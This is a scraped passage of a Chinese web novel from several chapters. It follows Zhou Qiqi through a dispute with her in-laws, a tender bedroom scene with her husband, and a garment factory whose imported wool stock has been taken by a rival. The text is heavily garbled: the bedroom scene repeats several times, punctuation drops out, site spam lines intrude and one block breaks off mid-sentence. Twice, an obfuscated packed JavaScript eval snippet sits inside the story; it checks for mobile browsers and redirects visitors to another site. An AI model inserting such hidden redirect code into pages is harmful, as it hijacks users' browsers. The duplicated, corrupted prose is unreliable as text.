“没事就是忙活了一天了还没怎么吃饭呢有点低血糖这卫生所也不知道是不是遭贼了东西全都乱七八糟的我连着收拾了好几天” 雷鸣一听“低血糖”心头一紧立刻在左边上衣口袋里翻出来一大把花花绿绿的水果摊。 “那你赶紧吃点!” 小圆看着他递过来的糖愣住了。 雷鸣见她没接 这次逃出来的是几颗过着米纸的奶糖。 见小圆还是发愣他更急了像是变魔术似的又往左边裤子口袋里一掏抓出来一把大侠酥糖“这个酥糖好吃你试试!” 接着是上衣内袋裤子后兜. 他兼职像是个人形糖果铺子各种糖劈里啪啦地被掏出来。 红的、黄的、白的、棕的水果的、奶味的、酥糖.琳琅满目都快把桌子堆满了。 “你” 小圆看呆了“你怎么随身带那么多糖啊?是你们单位谁家结婚发喜糖?你把份子都给兜回来了?” 雷鸣正低头从裤脚的小口袋再掏几个出来闻言动作一顿窘迫地挠了挠后脑勺脸上有些发烫 “谁家能给这么多喜糖啊?我.我上次知道你低血糖之后专门去百货大楼买的。” 这股朴实无华又透着股傻气的用心像一股暖流瞬间涌 进了小圆的心窝里。 她鼻子有点发酸,赶紧低下头掩饰,小声嘟囔道, “.哪儿能一直吃糖啊,我刚才吃过糖了,得正经吃点饭才行。” 雷鸣傻乎乎地跟着点头,“对对对!吃饭!我还欠你一顿饭呢!我开车了,带你去国营饭店吃饭去!” 小圆看了看窗外渐暗的天色,摇了摇头, “市里太远了,等到了我都晕死过去了,别麻烦了,就在这儿随便煮点面条垫垫吧,炉子什么的都是现成的。” 雷鸣一听,立刻点头,“好!煮面条!我我去给你煮!” 他撸起袖子就要去弄,但明显生疏,都不知道该干啥,手忙脚乱的。 小圆忍不住笑了,“你会用炉子吗?会煮饭吗?” 雷鸣动作一僵,老实摇头,“.不会。” 在队里吃食堂,在家有婶婶和姐姐,他是十指不沾阳春水。 小圆看他那窘样,又笑了,之前的尴尬一扫而空:“笨**!我教你啊!” 小圆在旁边轻声指点着,雷鸣笨手笨脚却格外认真地操作着。 很快,锅里的水咕嘟咕嘟地冒着泡,面条被小心地放下去,慢慢散开,缠绕在一起,像极了两颗心。 这里条件有限,啥东西都没有,两人吃的是白水面条。 而另外一边,周柒柒的家里,面条就要豪华许多。 家里各种调料都是现成的,很快就拌上了三碗热干面,搭配上朱莹莹之前就在军区食堂打的三样菜,丰盛地不得了。 三人一边吃着,周柒柒也一边把在许家村发生的事情都说了一遍。 热腾腾的饭菜下了肚,胃里暖和了,但三人心头的滋味却有点复杂。 朱莹莹拿着空碗,眼圈还微微发红,对齐琳和周水生这对苦命鸳鸯的遭遇,心疼得不行,她低声感叹道。 “这世上怎么就有那么多磨难呢?” 舟舟安静地依偎在周柒柒身边,小手紧紧抓着她的衣角, 周柒柒轻轻抚了抚了舟舟的头发,眼神有些飘远。 她心里又何尝没有波澜呢? 许家村的一切,周淑华小心翼翼讨好的眼神,都在她脑子里打转。 还有刚才雷玉华风风火火冲出来护着她,也让她心里有一 丝触动。 但也仅仅是一丝,面对周淑华,她心里还是有道坎。 正说着呢,就听院门外传来脚步声,是电话室的小王,来给周柒柒传信的,说是第一服装厂的张副厂长,让周柒柒明天一定得去一趟厂里。 周柒柒眉头微蹙。 张国强是个稳重的人,不是出了事,不会这个点还把电话追到家属区来。 “他说了什么事吗? 小王挠挠头,“没有,我听着那边乱哄哄地。 周柒柒心里念头急转。 新款爆买是好事,但爆卖之后往往跟着一堆棘手事,加单、原料、生产线、质量把关. 哪一环出了岔子,都够呛。 她实在不放心等到明天。 “不行,我现在就去给他回个电话问问。 她说着就站起身,准备让莹莹再帮着待会儿舟舟的,但是又忽然想起刚才莹莹的话,扭头问道, “对了,莹莹,你之前去电话室,不也是要打电话?被李红娟那么一搅合,打完了没?要不要一块过去? 朱莹莹被她这么一问,猛地拍了吓自己的脑门, “哎呦!你看我这脑子,光顾着生气,差点把正事儿给忘了! 她脸色忽然变得有些犹豫,看向周柒柒,“柒柒,我去接那电话,不是找我的,是是找你的。 “找我的? 周柒柒一愣,看着朱莹莹的神色,心里咯噔一下,“谁打来的?出什么事了吗? 朱莹莹深吸一口气,说道: “是是你婆婆,沈团长他母亲打来的。 “她们.她们不知道从哪儿知道了沈团长和你结婚的事情,还说说沈团长为了和你在一起,狠心把林瑶送进了局子!还说你为了控制舟舟,没让她继续去做针灸治疗. “总之电话里听着她们气坏了,声音都在抖,发了好大的火,说要你和沈团长必须给她们一个交代! 周柒柒的心猛地一沉,愣住了。 沈淮川的父母身体一直不好,尤其是他母亲,受不得刺激。 两人原本商量好了,等年底沈淮川休假,当面把事情慢慢说清楚,也好让老人有个缓冲。 但没想到,这突然之间,两人就知道了,还知道的 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) 这么详细 她脑子转了转一下子就想到了罪魁祸首。 除了林瑶家的父母和哥哥还能有谁? 自从林瑶诬告她反倒把自己被带走之后他们可没少给找沈淮川电话打个不停。 想让沈淮川出面求情把林瑶弄出来可都被沈淮川冷着脸给挡回去了。 他们这是没办法了想到了从沈淮川父母那里入手想利用老人来给沈淮川施压。 朱莹莹看着周柒柒沉默有点担心: “柒柒你.打算怎么办?我看老太太误会挺深的这话里话外怕是听了不少难听的挑唆还说了要让你们离婚.” 周柒柒深吸一口气脸上倒是没什么惊慌。 “能怎么办?这事儿是冲着他沈淮川来的自然由他想法子解决那是他爹妈又不是我爹妈。” 她眼下要解决的是服装厂的问题。 婆媳问题不在她的考虑范围内。 周柒柒撂下话让朱莹莹想帮着照看舟舟自己转身就风风火火地电话室赶。 先是给服装厂打去电话张国强大致跟他说了情况。 新款和之前的毛衣裙卖得都挺好 具体情况电话里掰扯不明白得周柒柒明天去厂里才知道。 周柒柒心里有了底应承下来。 挂断电话后她没犹豫又给沈淮川那边打了电话。 她言简意赅三两句就把婆婆来兴师问罪的事儿说了语气平静地像在说别人家的事儿。 末了她也不等沈淮川反应“啪嗒”一声就把电话给撂了。 这下可把沈淮川急坏了。 他立刻把手头的活儿加急着干完了就往家里赶。 到家时屋里只剩下了一盏昏黄的小灯周柒柒已经背对着外面躺下了像是睡着了。 沈淮川心里七上八下的赶紧去冲了个澡钻进被窝长臂一伸就想把媳妇捞进怀里。 周柒柒没吭声却毫不客气地往后一蹬腿脚丫子结结实实踹在他小腿上力道不小。 沈淮川吃痛却没躲反而收紧手臂下巴蹭着她柔软的发顶声音闷闷地带着讨好: “媳妇,你打我也行,骂我也行,别不理我。 周柒柒这才哼了一声,声音里带着显而易见的委屈和火气: “我哪敢啊?你爸妈都不喜欢我,让我们离婚呢! “胡说八道!离什么婚!谁同意离婚了? 沈淮川立刻否认,语气斩钉截铁, “是我不好,这段时间忙晕了头,把林家那茬给忘了,让他们钻了空子,跑到爹妈那儿胡说八道,让你受委屈了。 他认错态度极其端正,把责任全揽到自己身上。 周柒柒心里那点憋闷散了些,但担忧还在: “那可是你亲爹妈,她们身体又不好,话都说那份上了,你打算怎么办? 沈淮川叹口气,早就想好了对策: “本来跟二老说好了年底回去当面说,他们这是等不及,也被林家忽悠急了,我给他们打过电话了,让他们过来一趟,我当面和他们说清楚。 “过来?什么时候? 周柒柒转过身,在昏暗光线下看着他模糊的轮廓。 “一个礼拜之后吧,你放心,一切有我,等他们来了,我好好跟他们解释,所有事都说明白,绝不会让你受半点委屈。 沈淮川保证道,手指轻轻摩挲着她的手臂。 周柒柒听他安排得明白,心里也定了不少。 厂里一堆事等着,她确实分身乏术,便点了点头: “行,那你处理吧。我厂里事多着呢,累**,先睡了。 她说完就要转身,却被沈淮川紧紧箍住。 他脑袋埋在她颈窝里,声音闷闷的,带着点可怜兮兮的意味: “别啊,媳妇,你真不理我了?你不理我,我心口疼. 他说着还哎呦好几声,周柒柒以为有什么毛病了,心里一紧,忙问: “怎么了?胸口真疼?我看看? 沈淮川却不答,抓着那只柔软的手一路向下,越过结实的胸腹,按在了块垒分明、紧梆梆的腹肌上,声音里带上了点耍赖的笑意: “唔说错了,是这儿疼 周柒柒一愣,反应过来被他戏弄了,脸上发热,没好气地轻轻捶了他一下: “这是胸口吗?沈淮川你耍流氓! “不喜欢吗? 沈淮川低笑,胸腔震动,非但没躲,反而就势收紧了手臂。 黑暗中,他精准地捕获了她的唇,将那些还未出口的嗔怪全都堵了回去。 周柒柒象征性地推了两下,推不掉,也就算了,任由他肆意妄为。 这男人,同样舟车劳顿,还忙活了那么久,也不知道怎么的,还有那么多使不完的牛劲儿。 夜还长,窗外月色朦胧,窗内温情脉脉,其他的烦恼,且等天亮了再说。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “媳妇,你打我也行,骂我也行,别不理我。 周柒柒这才哼了一声,声音里带着显而易见的委屈和火气: “我哪敢啊?你爸妈都不喜欢我,让我们离婚呢! “胡说八道!离什么婚!谁同意离婚了? 沈淮川立刻否认,语气斩钉截铁, “是我不好,这段时间忙晕了头,把林家那茬给忘了,让他们钻了空子,跑到爹妈那儿胡说八道,让你受委屈了。 他认错态度极其端正,把责任全揽到自己身上。 周柒柒心里那点憋闷散了些,但担忧还在: “那可是你亲爹妈,她们身体又不好,话都说那份上了,你打算怎么办? 沈淮川叹口气,早就想好了对策: “本来跟二老说好了年底回去当面说,他们这是等不及,也被林家忽悠急了,我给他们打过电话了,让他们过来一趟,我当面和他们说清楚。 “过来?什么时候? 周柒柒转过身,在昏暗光线下看着他模糊的轮廓。 “一个礼拜之后吧,你放心,一切有我,等他们来了,我好好跟他们解释,所有事都说明白,绝不会让你受半点委屈。 沈淮川保证道,手指轻轻摩挲着她的手臂。 周柒柒听他安排得明白,心里也定了不少。 厂里一堆事等着,她确实分身乏术,便点了点头: “行,那你处理吧。我厂里事多着呢,累**,先睡了。 她说完就要转身,却被沈淮川紧紧箍住。 他脑袋埋在她颈窝里,声音闷闷的,带着点可怜兮兮的意味: “别啊,媳妇,你真不理我了?你不理我,我心口疼. 他说着还哎呦好几声,周柒柒以为有什么毛病了,心里一紧,忙问: “怎么了?胸口真疼?我看看? 沈淮川却不答,抓着那只柔软的手一路向下,越过结实的胸腹,按在了块垒分明、紧梆梆的腹肌上,声音里带上了点耍赖的笑意: “唔说错了,是这儿疼 周柒柒一愣,反应过来被他戏弄了,脸上发热,没好气地轻轻捶了他一下: “这是胸口吗?沈淮川你耍流氓! “不喜欢吗? 沈淮川低笑,胸腔震动,非但没躲,反而就势收紧了手臂。 黑暗中,他精准地捕获了她的唇,将那些还未出口的嗔怪全都堵了回去。 周柒柒象征性地推了两下,推不掉,也就算了,任由他肆意妄为。 这男人,同样舟车劳顿,还忙活了那么久,也不知道怎么的,还有那么多使不完的牛劲儿。 夜还长,窗外月色朦胧,窗内温情脉脉,其他的烦恼,且等天亮了再说。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “媳妇,你打我也行,骂我也行,别不理我。 周柒柒这才哼了一声,声音里带着显而易见的委屈和火气: “我哪敢啊?你爸妈都不喜欢我,让我们离婚呢! “胡说八道!离什么婚!谁同意离婚了? 沈淮川立刻否认,语气斩钉截铁, “是我不好,这段时间忙晕了头,把林家那茬给忘了,让他们钻了空子,跑到爹妈那儿胡说八道,让你受委屈了。 他认错态度极其端正,把责任全揽到自己身上。 周柒柒心里那点憋闷散了些,但担忧还在: “那可是你亲爹妈,她们身体又不好,话都说那份上了,你打算怎么办? 沈淮川叹口气,早就想好了对策: “本来跟二老说好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170180|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年底回去当面说,他们这是等不及,也被林家忽悠急了,我给他们打过电话了,让他们过来一趟,我当面和他们说清楚。 “过来?什么时候? 周柒柒转过身,在昏暗光线下看着他模糊的轮廓。 “一个礼拜之后吧,你放心,一切有我,等他们来了,我好好跟他们解释,所有事都说明白,绝不会让你受半点委屈。 沈淮川保证道,手指轻轻摩挲着她的手臂。 周柒柒听他安排得明白,心里也定了不少。 厂里一堆事等着,她确实分身乏术,便点了点头: “行,那你处理吧。我厂里事多着呢,累**,先睡了。 她说完就要转身,却被沈淮川紧紧箍住。 他脑袋埋在她颈窝里,声音闷闷的,带着点可怜兮兮的意味: “别啊,媳妇,你真不理我了?你不理我,我心口疼. 他说着还哎呦好几声,周柒柒以为有什么毛病了,心里一紧,忙问: “怎么了?胸口真疼?我看看? 沈淮川却不答,抓着那只柔软的手一路向下,越过结实的胸腹,按在了块垒分明、紧梆梆的腹肌上,声音里带上了点耍赖的笑意: “唔说错了,是这儿疼 周柒柒一愣,反应过来被他戏弄了,脸上发热,没好气地轻轻捶了他一下: “这是胸口吗?沈淮川你耍流氓! “不喜欢吗? 沈淮川低笑,胸腔震动,非但没躲,反而就势收紧了手臂。 黑暗中,他精准地捕获了她的唇,将那些还未出口的嗔怪全都堵了回去。 周柒柒象征性地推了两下,推不掉,也就算了,任由他肆意妄为。 这男人,同样舟车劳顿,还忙活了那么久,也不知道怎么的,还有那么多使不完的牛劲儿。 夜还长,窗外月色朦胧,窗内温情脉脉,其他的烦恼,且等天亮了再说。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “媳妇,你打我也行,骂我也行,别不理我。” 周柒柒这才哼了一声,声音里带着显而易见的委屈和火气: “我哪敢啊?你爸妈都不喜欢我,让我们离婚呢!” “胡说八道!离什么婚!谁同意离婚了?” 沈淮川立刻否认,语气斩钉截铁, “是我不好,这段时间忙晕了头,把林家那茬给忘了,让他们钻了空子,跑到爹妈那儿胡说八道,让你受委屈了。” 他认错态度极其端正,把责任全揽到自己身上。 周柒柒心里那点憋闷散了些,但担忧还在: “那可是你亲爹妈,她们身体又不好,话都说那份上了,你打算怎么办?” 沈淮川叹口气,早就想好了对策: “本来跟二老说好了年底回去当面说,他们这是等不及,也被林家忽悠急了,我给他们打过电话了,让他们过来一趟,我当面和他们说清楚。” “过来?什么时候?” 周柒柒转过身,在昏暗光线下看着他模糊的轮廓。 “一个礼拜之后吧,你放心,一切有我,等他们来了,我好好跟他们解释,所有事都说明白,绝不会让你受半点委屈。” 沈淮川保证道,手指轻轻摩挲着她的手臂。 周柒柒听他安排得明白,心里也定了不少。 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) 厂里一堆事等着,她确实分身乏术,便点了点头: “行,那你处理吧。我厂里事多着呢,累**,先睡了。” 她说完就要转身,却被沈淮川紧紧箍住。 他脑袋埋在她颈窝里,声音闷闷的,带着点可怜兮兮的意味: “别啊,媳妇,你真不理我了?你不理我,我心口疼.” 他说着还哎呦好几声,周柒柒以为有什么毛病了,心里一紧,忙问: “怎么了?胸口真疼?我看看?” 沈淮川却不答,抓着那只柔软的手一路向下,越过结实的胸腹,按在了块垒分明、紧梆梆的腹肌上,声音里带上了点耍赖的笑意: “唔说错了,是这儿疼” 周柒柒一愣,反应过来被他戏弄了,脸上发热,没好气地轻轻捶了他一下: “这是胸口吗?沈淮川你耍流氓!” “不喜欢吗?” 沈淮川低笑,胸腔震动,非但没躲,反而就势收紧了手臂。 黑暗中,他精准地捕获了她的唇,将那些还未出口的嗔怪全都堵了回去。 周柒柒象征性地推了两下,推不掉,也就算了,任由他肆意妄为。 这男人,同样舟车劳顿,还忙活了那么久,也不知道怎么的,还有那么多使不完的牛劲儿。 夜还长,窗外月色朦胧,窗内温情脉脉,其他的烦恼,且等天亮了再说。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “媳妇你打我也行骂我也行别不理我。” 周柒柒这才哼了一声声音里带着显而易见的委屈和火气: “我哪敢啊?你爸妈都不喜欢我让我们离婚呢!” “胡说八道!离什么婚!谁同意离婚了?” 沈淮川立刻否认语气斩钉截铁 “是我不好这段时间忙晕了头把林家那茬给忘了让他们钻了空子跑到爹妈那儿胡说八道让你受委屈了。” 他认错态度极其端正把责任全揽到自己身上。 周柒柒心里那点憋闷散了些但担忧还在: “那可是你亲爹妈她们身体又不好话都说那份上了你打算怎么办?” 沈淮川叹口气早就想好了对策: “本来跟二老说好了年底回去当面说他们这是等不及也被林家忽悠急了我给他们打过电话了让他们过来一趟我当面和他们说清楚。” “过来?什么时候?” 周柒柒转过身在昏暗光线下看着他模糊的轮廓。 “一个礼拜之后吧你放心一切有我等他们来了我好好跟他们解释所有事都说明白绝不会让你受半点委屈。” 沈淮川保证道手指轻轻摩挲着她的手臂。 周柒柒听他安排得明白心里也定了不少。 厂里一堆事等着她确实分身乏术便点了点头: “行那你处理吧。我厂里事多着呢累**先睡了。” 她说完就要转身却被沈淮川紧紧箍住。 他脑袋埋在她颈窝里声音闷闷的带着点可怜兮兮的意味: “别啊媳妇你真不理我了?你不理我我心口疼.” 他说着还哎呦好几声周柒柒以为有什么毛病了心里一紧忙问: “怎么了?胸口真疼?我看看?” 沈淮川却不答抓着那只柔软的手一路向下越过结实的胸腹按在了块垒分明、紧梆梆的腹肌上声音里带上了点耍赖的笑意: “唔说错了是这儿疼” 周柒柒一愣反应过来被他戏弄了脸上发热没好气地轻轻捶了他一下: “这是胸口吗?沈淮川你耍流氓!” “不喜欢吗?” 沈淮川低笑胸腔震动非但没躲反而就势收紧了手臂。 黑暗中他精准地捕获了她的唇将那些还未出口的嗔怪全都堵了回去。 周柒柒象征性地推了两下推不掉也就算了任由他肆意妄为。 这男人同样舟车劳顿还忙活了那么久也不知道怎么的还有那么多使不完的牛劲儿。 夜还长窗外月色朦胧窗内温情脉脉其他的烦恼 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第261章 生产线...出大事了! 周柒柒心里装着事,第二天天刚蒙蒙亮就醒了。 不过醒来的时候,身边的位置还是空了。 外间的餐桌上,扣着铝饭盒,里面是沈淮川从食堂打回来的小米粥和包子,还是温热的。 他留了张字条,只说年底事忙,先去军区了。 沈淮川总是这样,起得比谁都早,把一切都安排妥当才走。 年底军区大比武在即,他之前为了陪她回许家村处理那摊子烂事,硬是请了一个礼拜的假,现在肯定得加班加点把落下的训练补回来。 看着他遒劲有力的字迹,周柒柒只觉得心里一暖。 她赶紧刷牙洗脸,和舟舟一起吃过早饭,看着舟舟背着小书包去上学,她才推出她那辆凤凰牌的二八大杠。 刚骑出家门没多久,身后就传来一阵清脆的车铃声,还有热情的招呼。 “柒柒!等等我!” 周柒柒回头一看,是雷玉华,她穿着一件藏青色的棉袄,正使劲蹬着车追上来。 “玉华姐?” 周柒柒放慢了速度,等她并排。 “哎!真巧!遇上你了!你也去城里啊?” 雷玉华跟了上来,喘了口气,脸上带着笑。 周柒柒其实早就看见她了,就在不远处的巷子里停着呢,雷家又不在那个方向,确实是挺“巧”的。 不过伸手不打笑脸人,周柒柒只是笑着回道,“是啊,去城里。” 雷玉华见她没说什么,眼睛里的光芒更亮了,直接拉起了家常。 “昨天咱们回来的太晚,我就在我爸妈那儿凑合了一宿,今天去上班,晚上就回城里我那小家了,以后咱们再想这么偶遇可就难咯!” 她语气里带着点真切的惋惜,显然是真的喜欢周柒柒,不舍得错过和周柒柒相处的机会。 周柒柒只是淡淡点了点头,没接这个话茬。 对方毕竟是周淑华的女儿,她谈不上喜欢,但也犯不着甩脸子,基本的礼貌还是得有的。 雷玉华也不觉得尴尬,自顾自地说起了自己的事儿。 “年底市里汇报演出,任务重着呢!往年都是我们军区文工团拿第一,可惜今年你给市文工团设计了舞美和服装,可是给我们树立了一个强大的对手!我得加油 ,再想办法,一定要守住这个第一名! 说起工作,她的眼神灼灼,全是不服输的劲儿,倒是让周柒柒对她印象好了一些。 两人并排骑着车,有一搭没一搭的说着话。 清晨的阳光斜斜照过来,落在周柒柒身上。 雷玉华的目光一下子就被她身上那件大衣吸引住了。 那大衣的料子看着就厚实挺阔,颜色是正正的大红,在萧瑟的深秋里,像是一簇跳动的火苗,但却丝毫不显得艳俗,反而有种高级的质感。 款式也特别,不像她身上这种臃肿的棉大衣,它线条利落,肩膀板正,大翻领显得人特别精神,腰身那里收得恰到好处。 周柒柒穿着这么一件大衣,像是一朵饱满娇艳的红玫瑰。 “柒柒,你这大衣 雷玉华看得眼睛都直了,忍不住赞叹, “又是你自己给自己做的吧?也太抬人了,这颜色,这版型,真好看! 她也想要,但是知道这算是周柒柒的“私人定制,她可没那么大脸,让对方给自己也做一件。 周柒柒低头看了看自己身上的大衣,嘴角也勾起了一丝笑容, “这不是我自己做的,是厂里新出的‘光华’系列,双面呢大衣。 她顿了顿,补充道,“你想要的话,过两天去市百货大楼,应该就能买到。 “双面呢? 雷玉华还是第一次听说这词儿,只觉得这大衣看着就高级,穿在周柒柒身上,那股子精气神儿,比画报上的模特还好看。 两人正好停在一处路口,雷玉华瞧了又瞧,还忍不住伸手摸了一下。 “这名字也好听,‘光华’,真衬这料子,阳光底下好像还泛着细绒光!看着厚实,摸着却轻软,穿着肯定暖和又轻便吧?比我身上这老棉袄强太多了! 雷玉华性质更高了,“还有别的颜色吗? 她个子低,不太喜欢正红色,觉得太压人了。 “有,宝蓝、墨绿、鹅黄,加上我身上这件正红,一共四个颜色。 雷玉华夸成这样,周柒柒心里也高兴,嘴角微微牵了一下,侧头认真打量了一下雷玉华。 她小小的个头,肤色白皙,头发乌黑,扎着两条粗辫子,整个人透着 股泼辣利落的劲儿让她一下子就想到了黄色的迎春花。 “鹅黄色那款应该挺衬你你皮肤底子好鹅黄色显白净 雷玉华被她说得心花怒放脸上也笑开了花: “真的?柒柒你说好那肯定错不了!行!等上了百货大楼我头一个就去买那鹅黄色的!一定给你捧场!” 两人这么一路说着很快就到了进城的路口雷玉华要去军区文工团的方向和周柒柒的服装厂不同路。 “柒柒那我就先走了!回头买了衣裳来军属区找你玩!” 雷玉华用力瞪了几下车子冲周柒柒挥挥手辫子在脑后一甩一甩的很快就汇入了人流里。 周柒柒看着她的背影消失这才调转车头朝着服装厂的方向骑去。 清晨的寒气散了一些阳光暖融融照在她身上那件“光华”大衣上明艳好看的脸蛋搭配上款式独特的大衣吸引了不少路人的目光。 也让一早就等在厂门口的张国强一下子就看到了她。 周柒柒刚骑到厂门口还没下车张国强就一个箭步冲了过来额头上全是汗也顾不上擦。 “周师傅!你可算来了!生产线出大事了!” 周柒柒心里咯噔一下。 张国强平时性格挺稳当的之前厂子半死不活、工资都发不出来的时候也没见他慌成这样。 不过她面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前第一服装厂濒临倒闭唯一的问题只是货物卖不出去他只用一心扑在销路上就行但没想到现在卖得好了问题却更多。 周柒柒沉默了几秒站起身“走咱们去仓库看看。” 仓库里光线有些暗弥漫着一股布料的味道。 周柒柒和张国强过去的时候几个厂里的骨干技术最好的马师傅管生产的刘主任都愁眉苦脸地在哪儿等着。 打开仓库大门情形比周柒柒预想的还要糟糕。 靠墙的架子上 与之形成鲜明对比的是隔壁的小仓库堆满了已经到货的配套材料。 包装精美的进口树脂扣、泛着光泽的定制丝绒内衬、造型特殊的垫肩.像是一座小山几乎占满了大半个仓库。 只是没有主要的双面呢面料这些花费巨资定来的辅料全都成为了废品! 第262章 你不觉得太巧了吗? 马师傅摸着那仅剩的一点料子,眼圈都有些发红: “张厂长,周师傅,这...这可怎么办啊?这料子没了,咱们那啥开工啊?周师父为了这新款,改了七八十版才定下来的,这几个颜色,也是她一趟趟跑毛纺厂,一个个对比挑出来的,之前的毛衣裙只是试水,这‘光华’系列,是‘柒’字牌打响名头的关键啊!” 她声音哽咽,满是心疼与不甘。 旁边的几个老工人更是唉声叹气: “就是啊,没有料子,机器就得停摆...” “停了工,这工资...不会又发不出来了吧?” 一个老师傅小声嘀咕了一句,瞬间勾起了大家不好的回忆。 之前厂子半死不活那两年,吃不饱饭的滋味太难受了。 这才刚过了两天好日子,难道又要回去了? 仓库里的气氛一下子变得压抑又绝望,一片愁云惨淡。 就在这时,周柒柒清亮的声音响了起来,压过了所有的叹息: “师傅们,都别慌。” 所有人的目光瞬间聚焦在她身上。 她环视一圈,眼神坚定,语气沉稳有力: “工资的事儿,大家伙把心放回肚子里,我和厂子签的是承包合同,白纸黑字写着呢,不管发生什么事,开工也好,不开工也好,你们的工资,该哪天发就哪天发,该发多少就多少,一分钱都不会少!我周柒柒拿人格担保!” 这话像是一颗定心丸,让惶惶不安的工人们稍稍松了口气。 但张国强的担忧更厉害了,在一旁急道: “周师傅,话是这么说,可...没有原料,不能生产,咱们就出不了货,收不回钱啊!厂里每天的开销、房租水电、工资...这都是在烧钱啊!时间拖长了,你...你个人得亏多少进去?更别说咱们签了那么多单子,要是没有按时交货,拿违约金又是一大笔...” 之前厂子里亏损,但到底是国营厂子,属于集体。 可周柒柒不一样,她签的是承包合同,这些损失全都要由她个人承担。 所以张国强才格外替她担忧。 周柒柒深吸了一口气,只是淡淡道: “现在着急是最没用的,出了问题,想办法解决就行了。” 她转向马师傅: “马师傅,您带着师傅们,先去生产毛衣裙吧,我记得毛衣裙订单还有不少。” 她又看向众人: “大家该干什么还干什么,手上的活儿别停。我再说一遍,工资和福利,该有的一样不会少!大家安心工作。” 工人师傅们看着周柒柒镇定又诚恳的脸,心里的慌乱稍稍平息了一些,互相看了看,慢慢散开各自忙去了。 周柒柒这才对张国强一摆手: “走,咱们回办公室去,详细说。” 回到厂长办公室,张国强一屁股瘫坐在椅子上,依旧苦着脸。 他这人直肠子,心里藏不住事,忧愁和快乐都明晃晃写在脸上。 周柒柒却是像没事儿人一样,自顾自倒了杯水,拿起桌上的进货单又仔细看了一遍。 “张厂长,” 她声音平静,听不出半点焦躁, “这批澳毛料子被人提走了,那咱们能不能向上申请,紧急追加一批?” 张国强把脑袋摇得像是拨浪鼓: “周师傅,难啊!这进口的东西,每年都是有配额的,定死的数,金贵着呢!就咱们这批,你忘了?还是你找的翟副市长,他关心咱们厂子改革,特批下来的!几乎把今年省里相关的配额都用完了!现在临时想再加,省里就说了不算了,得往上再打报告,这就要慢很多了,而且很难批下来,就算批下来了,这一层层下来,黄花菜都凉了!” 自从知道这件事之后,他除了赶快通知了周柒柒,其他时间就是去跑轻工业局。 那边的门槛都快被他踏破了,人家就一句话,没有! 周柒柒点了点头,手指在进货单上轻轻敲击着,忽然,她眼神锐利了起来:“等等,” 她敏锐地捕捉到了张国强话里的关键点,坐直了身躯,沉声问道: “张厂长,你刚才说,这批澳毛,是因为我们厂确定了生产计划,才专门去申请进口的,也就是说,没有我们‘光华’系列的需求,这批料子根本就不会出现在省第一毛纺厂的仓库里,对吗?” 张国强愣了一下,点了点头,“是这么个理儿...” “那你不觉得太巧了吗?” 周柒柒抬起眼,目光清亮,嘴角勾起一丝冷意, “我们刚把样品发出去,订单像雪片一样飞来,这边突然就冒出来一个兄弟单位,签了个外贸大单,指名道姓,就要和我们一模一样的、市面上极其稀缺的进口澳毛?” “这消息也太灵通了,这口味也太一致了...” 她看着张国强,一字一句地问道,“你知道这个‘截胡’的兄弟单位,是哪家吗?” 张国强茫然地摇了摇头: “毛纺厂那边口风紧得很,说是外贸订单,可以创汇的,怕被截胡,死活不肯透露,问急了,就说是上头有规定,要保密!” “保密?” 周柒柒嗤笑一声, “那么大批量的原料,从仓库提出来,装车,运输,卸货,经手的没有十个也有八个,想保密?除非是运到深山老林里去!这种保密,就是个幌子!” 哄一哄张国强这种老实人。 他们都是国营厂子里出来的,从前从来不愁销路什么的,更不存在什么竞争,根本就不知道商场如战场的道理。 她走到窗前,看着楼下忙碌的厂区,沉吟片刻,果断转身: “这样,张厂长,你辛苦一下,现在立刻找几个嘴巴严实、人也机灵的小伙子,小姑娘,让她们轮流去第一毛纺厂的仓库附近守着,不用靠近,就远远盯着,别让人发现了,就盯着他们的出货卡车,看看他们仓库里那些本该给我们的澳毛料子,最后到底被哪里的车拉走了,拉到什么地方去了!” 张国强一听,眼睛亮了亮,猛地站起来: “好!这个法子行!厂里王师傅的爱人就在毛纺厂仓库干活,咱们厂还有几个工人的亲戚,也都是他们厂的,我也让他们想办法打听!一定要把这只背后摘桃子的手给揪出来!” “行,那边就交给你了,小心点,别打草惊蛇。” 周柒柒点了点头,又叮嘱了一句。 送走了风风火火的张国强,周柒柒也没在办公室多待。 她快步去了仓库,找了一件墨绿色的“光华”双面呢大衣样品,仔细用一块干净的包袱皮包好,拎着就除了厂门。 蹬着自行车,她直奔物资局,去了胡春晓的办公室。 胡春晓正在写文件,看到周柒柒和她手里那个显眼的包袱,有些意外。 “柒柒?你怎么来了?快坐快坐。” 周柒柒没坐,直接把包袱放在她办公桌上打开,语气真诚。 “春晓姐,一点心意,厂里的新款,你试试看合身。” 双面呢大衣料子厚实挺阔,墨绿的颜色沉静又显贵气,在有些陈旧的办公室里,显得格外打眼。 胡春晓一看就喜欢得不得了,她平时就喜欢这个颜色,和她各方面都很搭。 但这大衣看着就高级,没有三四十块是买不到的,都顶她大半个月工资了。 她看了好几眼,还是摆手道,“这太贵重了,我不能收!你快拿回去!” 说着伸手就要把包袱推回去。 周柒柒按住她的手,目光坦然, “春晓姐,你先别着急推,我送你东西,其实是有事请你帮忙的。” 胡春晓一脸的了然,周柒柒又适时补充道, 